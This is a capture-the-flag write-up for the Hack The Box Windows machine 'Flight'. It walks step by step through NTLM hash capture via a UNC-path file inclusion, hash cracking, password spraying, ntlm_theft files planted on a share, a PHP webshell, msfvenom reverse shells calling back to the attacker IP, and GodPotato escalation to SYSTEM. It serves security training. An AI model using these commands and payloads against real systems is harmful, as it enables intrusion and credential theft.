Flight

Nmap :p

nmap -sC -sV -T4 10.129.228.120
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: G0; OS: Windows

A domain controller for flight.htb, but with Apache and PHP on 80 instead of IIS. No null SMB access, so the website is where we start. We see 80 is open so let’s scan with gobuster:

gobuster dir -u flight.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

There’s a phpmyadmin endpoint but we can’t access it. Let’s try subdomain enum instead:

gobuster vhost -u http://flight.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 50
school.flight.htb Status: 200

svc_apache

Looking at school.flight.htb, the pages are loaded through a view parameter, so we can try LFI:

http://school.flight.htb/index.php?view=home.html

We keep getting blocked for “suspicious activity” when we try ../ stuff, but there’s another trick. This is a Windows box, so PHP will happily open a UNC path like //our-ip/share. When Windows connects to an SMB share it tries to log in with the current user’s creds, so we can make the web server authenticate to us:

sudo responder -I tun0
curl "http://school.flight.htb/index.php?view=//10.10.17.229/test"

With responder running we capture a NetNTLMv2 hash:

[SMB] NTLMv2-SSP Client   : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:4ec61aa7c3feb2bc:17407AC6336AEF45...

We can try to crack this hash now with hashcat:

hashcat -m 5600 svc.txt /usr/share/wordlists/rockyou.txt

We successfully crack it and get svc_apache:S@Ss!K@*t13.

S.Moon

We have a lot of share access with svc_apache, so we inspected the Shared, Users and Web shares:

smbclient -U svc_apache //flight.htb/Shared
smbclient -U svc_apache //flight.htb/Users
smbclient -U svc_apache //flight.htb/Web

I didn’t really find anything, other than seeing a user called C.Bum in the Users share. Kerberoasting and AS-REP roasting both came back empty too. So let’s get a full list of users with --rid-brute:

nxc smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' --rid-brute

We get a nice list of users!

S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

Service account passwords get reused all the time, so we spray svc_apache’s password across everyone:

nxc smb flight.htb -u userlist.txt -p 'S@Ss!K@*t13' --continue-on-success
SMB         10.129.228.120  445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13

S.Moon has the same password. evil-winrm doesn’t work with this user, but re-enumerating the shares we see we now have write access over Shared:

nxc smb flight.htb -u S.Moon -p 'S@Ss!K@*t13' --shares

C.Bum

A share that other people browse plus write access means we can drop files that steal NTLM hashes. When someone opens the folder, Windows Explorer tries to load icons or resources from a path we control and authenticates to us. ntlm_theft makes a whole set of these files:

python3 ntlm_theft.py -g all -s 10.10.17.229 -f test
cd test
smbclient //10.129.228.120/Shared -U S.Moon
smb: \> prompt OFF
smb: \> mput *
putting file test-(stylesheet).xml as \test-(stylesheet).xml
NT_STATUS_ACCESS_DENIED opening remote file \test.wax
putting file test-(fulldocx).xml as \test-(fulldocx).xml
putting file test.theme as \test.theme
NT_STATUS_ACCESS_DENIED opening remote file \test.pdf
putting file test.library-ms as \test.library-ms
putting file desktop.ini as \desktop.ini
...

A lot of the file types are blocked, but a few go through, including desktop.ini. Now we wait for someone to open the share and check responder:

[SMB] NTLMv2-SSP Client   : 10.129.228.120
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:...

We get a hash for c.bum and crack it the same way:

Tikkycoll_431012284

Remembering we saw c.bum in the Users share, we can read his user flag through SMB now.

Shell

Let’s enum more and see what our access is over the shares with c.bum:

nxc smb flight.htb -u C.Bum -p 'Tikkycoll_431012284' --shares

We have write access over the Web share, which is the web root for the sites. So we can upload a PHP webshell into the school.flight.htb folder and visit it through the website:

<?php system($_GET['cmd']); ?>
smbclient //10.129.228.120/Web -U C.Bum
smb: \> cd school.flight.htb
smb: \school.flight.htb\> put shell.php

The web server runs as svc_apache, so that’s who we get commands as. We want to be c.bum since he has more access, so we make a couple of reverse shell exes and grab RunasCs, which lets us run a command as another user when we know their password:

wget https://raw.githubusercontent.com/antonioCoco/RunasCs/master/Invoke-RunasCs.ps1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.17.229 LPORT=4444 -f exe -o reverse.exe

# in the Web share as c.bum:
put reverse.exe
put Invoke-RunasCs.ps1

We use the webshell to run reverse.exe and catch a shell as svc_apache, then from that shell use RunasCs to start the same exe again, but as c.bum:

. .\Invoke-RunasCs.ps1
Invoke-RunasCs -Username c.bum -Password 'Tikkycoll_431012284' -Domain flight.htb -Command "C:\xampp\htdocs\school.flight.htb\reverse.exe"

With a new listener up, we catch a shell as c.bum.

Privesc

Checking listening ports shows something that wasn’t in our nmap scan:

netstat -ano | findstr :8000
TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4

netsh http show servicestate shows it’s an IIS site bound to 127.0.0.1:8000, running under DefaultAppPool with ASP.NET. c.bum doesn’t have SeImpersonatePrivilege, but IIS app pool accounts always do. So if we can get code running inside that IIS site, we can use a potato exploit to get SYSTEM.

We can’t write to the default IIS folder C:\inetpub\wwwroot, but there’s another folder that c.bum can write to:

icacls C:\inetpub\development
flight\c.bum:(OI)(CI)(W)

Hitting http://127.0.0.1:8000/ from the box confirmed that’s the live site root. So we make an aspx reverse shell and drop it there:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.17.229 LPORT=4445 -f aspx -o shell.aspx
python3 -m http.server 8080
cd C:\inetpub\development
certutil -urlcache -f http://10.10.17.229:8080/shell.aspx shell.aspx
Invoke-WebRequest -Uri "http://127.0.0.1:8000/shell.aspx" -UseBasicParsing

We trigger it locally since the site isn’t reachable from kali, and catch the shell on 4445:

whoami
iis apppool\defaultapppool

whoami /priv
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

Now we have SeImpersonate, which means a classic potato privesc. These exploits trick a SYSTEM service into authenticating to us, then use our impersonate privilege to take over that SYSTEM token. We used GodPotato, staged in C:\Windows\Temp:

cd C:\Windows\Temp
Invoke-WebRequest -Uri "http://10.10.17.229:8080/GodPotato-NET4.exe" -OutFile "gp.exe" -UseBasicParsing
.\gp.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"

It runs the command as SYSTEM and prints the root flag.

Ez gg.